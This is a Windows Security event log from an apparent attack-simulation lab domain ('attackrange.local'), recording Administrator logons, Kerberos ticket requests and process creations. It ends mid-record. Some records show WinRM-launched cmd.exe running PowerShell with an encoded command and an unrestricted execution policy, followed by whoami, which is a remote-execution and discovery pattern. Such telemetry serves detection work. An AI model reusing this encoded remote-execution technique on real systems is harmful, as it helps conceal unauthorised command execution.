-EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249673 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE7F76 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249672 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE7F76 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {31ACEE6B-E789-5BE7-EA20-1B2B6D163273} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249671 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {31ACEE6B-E789-5BE7-EA20-1B2B6D163273} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=249670 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {31ACEE6B-E789-5BE7-EA20-1B2B6D163273} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=249669 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249668 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE7F5A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249667 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE7F5A - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249666 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE7F5A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {31ACEE6B-E789-5BE7-EA20-1B2B6D163273} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249665 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {31ACEE6B-E789-5BE7-EA20-1B2B6D163273} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=249664 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {31ACEE6B-E789-5BE7-EA20-1B2B6D163273} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=249663 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249662 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE75C3 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=249661 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE7153 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xbf0 - New Process Name: C:\Windows\System32\whoami.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x674 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\whoami.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249660 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE75C3 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249659 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE75C3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {31ACEE6B-E789-5BE7-EA20-1B2B6D163273} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249658 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {31ACEE6B-E789-5BE7-EA20-1B2B6D163273} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=249657 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {31ACEE6B-E789-5BE7-EA20-1B2B6D163273} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=249656 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=249655 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE7153 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x674 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd74 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand dwBoAG8AYQBtAGkA - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=249654 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE7153 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd74 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe88 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand dwBoAG8AYQBtAGkA - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249653 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE73A8 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249652 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE73A8 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {31ACEE6B-E789-5BE7-EA20-1B2B6D163273} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249651 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {31ACEE6B-E789-5BE7-EA20-1B2B6D163273} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=249650 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {31ACEE6B-E789-5BE7-EA20-1B2B6D163273} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=249649 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=249648 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE7153 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x378 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe88 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=249647 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE7153 - -Process Information: - New Process ID: 0xe88 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 